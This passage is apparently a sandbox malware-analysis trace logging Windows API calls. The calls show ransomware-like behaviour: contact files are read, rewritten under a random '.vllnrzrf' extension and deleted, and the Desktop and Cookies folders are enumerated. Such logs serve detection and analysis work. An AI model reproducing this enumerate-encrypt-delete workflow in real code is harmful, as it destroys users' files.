lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", lpFilePart=0x0) returned 0x3c [0086.056] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", nBufferLength=0x105, lpBuffer=0x1ce9e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact", lpFilePart=0x0) returned 0x3c [0086.056] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact")) returned 1 [0086.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", lpFilePart=0x0) returned 0x3c [0086.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", lpFilePart=0x0) returned 0x3c [0086.058] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", lpFilePart=0x0) returned 0x3c [0086.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0086.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0086.059] GetFileType (hFile=0x43c) returned 0x1 [0086.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0086.059] GetFileType (hFile=0x43c) returned 0x1 [0086.059] GetFileSize (in: hFile=0x43c, lpFileSizeHigh=0x1ce9ee08 | out: lpFileSizeHigh=0x1ce9ee08*=0x0) returned 0x494 [0086.059] ReadFile (in: hFile=0x43c, lpBuffer=0x2257be8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ce9ed38, lpOverlapped=0x0 | out: lpBuffer=0x2257be8*, lpNumberOfBytesRead=0x1ce9ed38*=0x494, lpOverlapped=0x0) returned 1 [0086.061] CloseHandle (hObject=0x43c) returned 1 [0086.064] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.vllnrzrf", lpFilePart=0x0) returned 0x45 [0086.064] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ce9ec70) returned 1 [0086.064] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x43c [0086.065] GetFileType (hFile=0x43c) returned 0x1 [0086.065] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ce9ebe0) returned 1 [0086.065] GetFileType (hFile=0x43c) returned 0x1 [0086.065] WriteFile (in: hFile=0x43c, lpBuffer=0x225e498*, nNumberOfBytesToWrite=0x694, lpNumberOfBytesWritten=0x1ce9ec48, lpOverlapped=0x0 | out: lpBuffer=0x225e498*, lpNumberOfBytesWritten=0x1ce9ec48*=0x694, lpOverlapped=0x0) returned 1 [0086.066] CloseHandle (hObject=0x43c) returned 1 [0086.068] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", nBufferLength=0x105, lpBuffer=0x1ce9e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", lpFilePart=0x0) returned 0x3c [0086.068] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", nBufferLength=0x105, lpBuffer=0x1ce9e930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact", lpFilePart=0x0) returned 0x3c [0086.068] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact")) returned 1 [0086.069] CoUninitialize () Thread: id = 53 os_tid = 0x9a4 [0106.566] CoGetContextToken (in: pToken=0x1cd5eea0 | out: pToken=0x1cd5eea0) returned 0x0 [0106.566] CObjectContext::QueryInterface () returned 0x0 [0106.566] CObjectContext::GetCurrentThreadType () returned 0x0 [0106.566] Release () returned 0x0 Thread: id = 54 os_tid = 0xa04 [0086.085] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0086.085] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1cf2e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0086.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cf2ed00) returned 1 [0086.086] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", nBufferLength=0x105, lpBuffer=0x1cf2e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies", lpFilePart=0x0) returned 0x25 [0086.086] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\", nBufferLength=0x105, lpBuffer=0x1cf2e790, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\", lpFilePart=0x0) returned 0x26 [0086.086] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*.*", lpFindFileData=0x1cf2e9a0 | out: lpFindFileData=0x1cf2e9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0086.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cf2ec30) returned 1 [0086.092] CoUninitialize () Thread: id = 55 os_tid = 0xa0c [0086.099] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0086.100] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1d00e060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0086.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e4c0) returned 1 [0086.100] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1d00dfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0086.100] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1d00df50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0086.100] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.*", lpFindFileData=0x1d00e160 | out: lpFindFileData=0x1d00e160*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd8c750, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0x9dd8c750, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0086.101] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd8c750, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0x9dd8c750, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.101] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529c0350, ftCreationTime.dwHighDateTime=0x1d5e4d9, ftLastAccessTime.dwLowDateTime=0x7eb233c0, ftLastAccessTime.dwHighDateTime=0x1d5da7e, ftLastWriteTime.dwLowDateTime=0x7eb233c0, ftLastWriteTime.dwHighDateTime=0x1d5da7e, nFileSizeHigh=0x0, nFileSizeLow=0xc8d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="-I1 WKZgUXJY_W46b.csv", cAlternateFileName="-I1WKZ~1.CSV")) returned 1 [0086.101] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cdf1540, ftCreationTime.dwHighDateTime=0x1d5df98, ftLastAccessTime.dwLowDateTime=0xfc7c3260, ftLastAccessTime.dwHighDateTime=0x1d5e816, ftLastWriteTime.dwLowDateTime=0xfc7c3260, ftLastWriteTime.dwHighDateTime=0x1d5e816, nFileSizeHigh=0x0, nFileSizeLow=0x8647, dwReserved0=0x0, dwReserved1=0x0, cFileName="08ScPz.gif", cAlternateFileName="")) returned 1 [0086.101] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc062ac00, ftCreationTime.dwHighDateTime=0x1d5dba0, ftLastAccessTime.dwLowDateTime=0xe36a8530, ftLastAccessTime.dwHighDateTime=0x1d5dce8, ftLastWriteTime.dwLowDateTime=0xe36a8530, ftLastWriteTime.dwHighDateTime=0x1d5dce8, nFileSizeHigh=0x0, nFileSizeLow=0x18ace, dwReserved0=0x0, dwReserved1=0x0, cFileName="2khV_cpWll0.swf", cAlternateFileName="2KHV_C~1.SWF")) returned 1 [0086.101] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd79158d0, ftCreationTime.dwHighDateTime=0x1d5dacf, ftLastAccessTime.dwLowDateTime=0xa0072750, ftLastAccessTime.dwHighDateTime=0x1d5e21d, ftLastWriteTime.dwLowDateTime=0xa0072750, ftLastWriteTime.dwHighDateTime=0x1d5e21d, nFileSizeHigh=0x0, nFileSizeLow=0x16bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="2qdClxTecehN.bmp", cAlternateFileName="2QDCLX~1.BMP")) returned 1 [0086.102] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed61f190, ftCreationTime.dwHighDateTime=0x1d5d914, ftLastAccessTime.dwLowDateTime=0x1e4bf670, ftLastAccessTime.dwHighDateTime=0x1d5e64e, ftLastWriteTime.dwLowDateTime=0x1e4bf670, ftLastWriteTime.dwHighDateTime=0x1d5e64e, nFileSizeHigh=0x0, nFileSizeLow=0x10ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="3llldBCsrEcFD6R k.swf", cAlternateFileName="3LLLDB~1.SWF")) returned 1 [0086.102] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9632f1b0, ftCreationTime.dwHighDateTime=0x1d5e280, ftLastAccessTime.dwLowDateTime=0xafef1d20, ftLastAccessTime.dwHighDateTime=0x1d5e552, ftLastWriteTime.dwLowDateTime=0xafef1d20, ftLastWriteTime.dwHighDateTime=0x1d5e552, nFileSizeHigh=0x0, nFileSizeLow=0x65b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="86l0TMBBc.bmp", cAlternateFileName="86L0TM~1.BMP")) returned 1 [0086.102] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca2cbcd0, ftCreationTime.dwHighDateTime=0x1d5df8d, ftLastAccessTime.dwLowDateTime=0x621ec230, ftLastAccessTime.dwHighDateTime=0x1d5d8b9, ftLastWriteTime.dwLowDateTime=0x621ec230, ftLastWriteTime.dwHighDateTime=0x1d5d8b9, nFileSizeHigh=0x0, nFileSizeLow=0xd3da, dwReserved0=0x0, dwReserved1=0x0, cFileName="8XdpR9K.mp3", cAlternateFileName="")) returned 1 [0086.102] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f55e80, ftCreationTime.dwHighDateTime=0x1d5e7aa, ftLastAccessTime.dwLowDateTime=0x49a704c0, ftLastAccessTime.dwHighDateTime=0x1d5db65, ftLastWriteTime.dwLowDateTime=0x49a704c0, ftLastWriteTime.dwHighDateTime=0x1d5db65, nFileSizeHigh=0x0, nFileSizeLow=0x167e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlEKt3WDH5aQZ9OqJX_S.m4a", cAlternateFileName="ALEKT3~1.M4A")) returned 1 [0086.102] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ace2dc0, ftCreationTime.dwHighDateTime=0x1d5e810, ftLastAccessTime.dwLowDateTime=0x28235300, ftLastAccessTime.dwHighDateTime=0x1d5e630, ftLastWriteTime.dwLowDateTime=0x28235300, ftLastWriteTime.dwHighDateTime=0x1d5e630, nFileSizeHigh=0x0, nFileSizeLow=0x8019, dwReserved0=0x0, dwReserved1=0x0, cFileName="bhZb0YM923vueflfafIW.flv", cAlternateFileName="BHZB0Y~1.FLV")) returned 1 [0086.102] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b254580, ftCreationTime.dwHighDateTime=0x1d5d894, ftLastAccessTime.dwLowDateTime=0x1d4d4330, ftLastAccessTime.dwHighDateTime=0x1d5de8f, ftLastWriteTime.dwLowDateTime=0x1d4d4330, ftLastWriteTime.dwHighDateTime=0x1d5de8f, nFileSizeHigh=0x0, nFileSizeLow=0x52a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BkTI-dmgsKp8uVqJf.odp", cAlternateFileName="BKTI-D~1.ODP")) returned 1 [0086.103] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.103] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a9eaa40, ftCreationTime.dwHighDateTime=0x1d5e77d, ftLastAccessTime.dwLowDateTime=0xc4ba9650, ftLastAccessTime.dwHighDateTime=0x1d5e1f4, ftLastWriteTime.dwLowDateTime=0xc4ba9650, ftLastWriteTime.dwHighDateTime=0x1d5e1f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="efCsb", cAlternateFileName="")) returned 1 [0086.103] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe00752f0, ftCreationTime.dwHighDateTime=0x1d5e7de, ftLastAccessTime.dwLowDateTime=0x5c720410, ftLastAccessTime.dwHighDateTime=0x1d5db6a, ftLastWriteTime.dwLowDateTime=0x5c720410, ftLastWriteTime.dwHighDateTime=0x1d5db6a, nFileSizeHigh=0x0, nFileSizeLow=0x1ce9, dwReserved0=0x0, dwReserved1=0x0, cFileName="f0Ew.png", cAlternateFileName="")) returned 1 [0086.103] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8206e040, ftCreationTime.dwHighDateTime=0x1d5dc2f, ftLastAccessTime.dwLowDateTime=0x389c1a80, ftLastAccessTime.dwHighDateTime=0x1d5e23b, ftLastWriteTime.dwLowDateTime=0x389c1a80, ftLastWriteTime.dwHighDateTime=0x1d5e23b, nFileSizeHigh=0x0, nFileSizeLow=0x10a65, dwReserved0=0x0, dwReserved1=0x0, cFileName="FClx.bmp", cAlternateFileName="")) returned 1 [0086.103] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1287b0d0, ftCreationTime.dwHighDateTime=0x1d5daa1, ftLastAccessTime.dwLowDateTime=0x5bf53650, ftLastAccessTime.dwHighDateTime=0x1d5de04, ftLastWriteTime.dwLowDateTime=0x5bf53650, ftLastWriteTime.dwHighDateTime=0x1d5de04, nFileSizeHigh=0x0, nFileSizeLow=0x7108, dwReserved0=0x0, dwReserved1=0x0, cFileName="fT-izWRtqFXfhb4wc.mkv", cAlternateFileName="FT-IZW~1.MKV")) returned 1 [0086.103] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b63e880, ftCreationTime.dwHighDateTime=0x1d5df60, ftLastAccessTime.dwLowDateTime=0x43ddd6a0, ftLastAccessTime.dwHighDateTime=0x1d5dbf5, ftLastWriteTime.dwLowDateTime=0x43ddd6a0, ftLastWriteTime.dwHighDateTime=0x1d5dbf5, nFileSizeHigh=0x0, nFileSizeLow=0x157ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="GNLIVzXtjqfLCzR.mp3", cAlternateFileName="GNLIVZ~1.MP3")) returned 1 [0086.104] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1556c4d0, ftCreationTime.dwHighDateTime=0x1d5e722, ftLastAccessTime.dwLowDateTime=0x812643f0, ftLastAccessTime.dwHighDateTime=0x1d5e4e5, ftLastWriteTime.dwLowDateTime=0x812643f0, ftLastWriteTime.dwHighDateTime=0x1d5e4e5, nFileSizeHigh=0x0, nFileSizeLow=0xf982, dwReserved0=0x0, dwReserved1=0x0, cFileName="HIUNA9uXt V.bmp", cAlternateFileName="HIUNA9~1.BMP")) returned 1 [0086.104] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f1c1080, ftCreationTime.dwHighDateTime=0x1d5dd4e, ftLastAccessTime.dwLowDateTime=0x3014a0f0, ftLastAccessTime.dwHighDateTime=0x1d5dc8f, ftLastWriteTime.dwLowDateTime=0x3014a0f0, ftLastWriteTime.dwHighDateTime=0x1d5dc8f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mta0O BJjST2m", cAlternateFileName="MTA0OB~1")) returned 1 [0086.104] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b6be300, ftCreationTime.dwHighDateTime=0x1d5e0e0, ftLastAccessTime.dwLowDateTime=0xb94d8a40, ftLastAccessTime.dwHighDateTime=0x1d5e2f1, ftLastWriteTime.dwLowDateTime=0xb94d8a40, ftLastWriteTime.dwHighDateTime=0x1d5e2f1, nFileSizeHigh=0x0, nFileSizeLow=0xb49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MtXh2Pv--40 wWDFTv.odt", cAlternateFileName="MTXH2P~1.ODT")) returned 1 [0086.104] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3aaa730, ftCreationTime.dwHighDateTime=0x1d5df4d, ftLastAccessTime.dwLowDateTime=0xa470a5f0, ftLastAccessTime.dwHighDateTime=0x1d5da5c, ftLastWriteTime.dwLowDateTime=0xa470a5f0, ftLastWriteTime.dwHighDateTime=0x1d5da5c, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="nlhsbZ1XzdA44k4H.wav", cAlternateFileName="NLHSBZ~1.WAV")) returned 1 [0086.104] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb1da970, ftCreationTime.dwHighDateTime=0x1d5dbde, ftLastAccessTime.dwLowDateTime=0xe8b75f40, ftLastAccessTime.dwHighDateTime=0x1d5db17, ftLastWriteTime.dwLowDateTime=0xe8b75f40, ftLastWriteTime.dwHighDateTime=0x1d5db17, nFileSizeHigh=0x0, nFileSizeLow=0x143fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="P53o.flv", cAlternateFileName="")) returned 1 [0086.104] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a6b150, ftCreationTime.dwHighDateTime=0x1d5d892, ftLastAccessTime.dwLowDateTime=0x3324db90, ftLastAccessTime.dwHighDateTime=0x1d5e28c, ftLastWriteTime.dwLowDateTime=0x3324db90, ftLastWriteTime.dwHighDateTime=0x1d5e28c, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="PtOjhzy.bmp", cAlternateFileName="")) returned 1 [0086.104] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbe8c7a0, ftCreationTime.dwHighDateTime=0x1d5e2a1, ftLastAccessTime.dwLowDateTime=0xeab0c870, ftLastAccessTime.dwHighDateTime=0x1d5e703, ftLastWriteTime.dwLowDateTime=0xeab0c870, ftLastWriteTime.dwHighDateTime=0x1d5e703, nFileSizeHigh=0x0, nFileSizeLow=0x9b31, dwReserved0=0x0, dwReserved1=0x0, cFileName="THT7aW.mkv", cAlternateFileName="")) returned 1 [0086.104] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba69870, ftCreationTime.dwHighDateTime=0x1d5e1bf, ftLastAccessTime.dwLowDateTime=0x39c31eb0, ftLastAccessTime.dwHighDateTime=0x1d5d811, ftLastWriteTime.dwLowDateTime=0x39c31eb0, ftLastWriteTime.dwHighDateTime=0x1d5d811, nFileSizeHigh=0x0, nFileSizeLow=0xffb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="uIbgF7eXBKxvLygoiy.mp3", cAlternateFileName="UIBGF7~1.MP3")) returned 1 [0086.105] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87b0cd90, ftCreationTime.dwHighDateTime=0x1d5e516, ftLastAccessTime.dwLowDateTime=0xbb1ca6f0, ftLastAccessTime.dwHighDateTime=0x1d5e06a, ftLastWriteTime.dwLowDateTime=0xbb1ca6f0, ftLastWriteTime.dwHighDateTime=0x1d5e06a, nFileSizeHigh=0x0, nFileSizeLow=0x5ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UMCqHw4u_u6pa w_.png", cAlternateFileName="UMCQHW~1.PNG")) returned 1 [0086.105] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09ce3c0, ftCreationTime.dwHighDateTime=0x1d5e038, ftLastAccessTime.dwLowDateTime=0xd9b6d060, ftLastAccessTime.dwHighDateTime=0x1d5e0ef, ftLastWriteTime.dwLowDateTime=0xd9b6d060, ftLastWriteTime.dwHighDateTime=0x1d5e0ef, nFileSizeHigh=0x0, nFileSizeLow=0xf689, dwReserved0=0x0, dwReserved1=0x0, cFileName="WtqK.mkv", cAlternateFileName="")) returned 1 [0086.105] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x788d10d0, ftCreationTime.dwHighDateTime=0x1d5e0de, ftLastAccessTime.dwLowDateTime=0x27046e20, ftLastAccessTime.dwHighDateTime=0x1d5e151, ftLastWriteTime.dwLowDateTime=0x27046e20, ftLastWriteTime.dwHighDateTime=0x1d5e151, nFileSizeHigh=0x0, nFileSizeLow=0xc168, dwReserved0=0x0, dwReserved1=0x0, cFileName="xcecGS za.mp4", cAlternateFileName="XCECGS~1.MP4")) returned 1 [0086.105] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e1b0 | out: lpFindFileData=0x1d00e1b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.105] FindClose (in: hFindFile=0x1a578c60 | out: hFindFile=0x1a578c60) returned 1 [0086.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e410) returned 1 [0086.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e3d0) returned 1 [0086.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-I1 WKZgUXJY_W46b.csv", lpFilePart=0x0) returned 0x3b [0086.106] GetFullPathNameW (in: 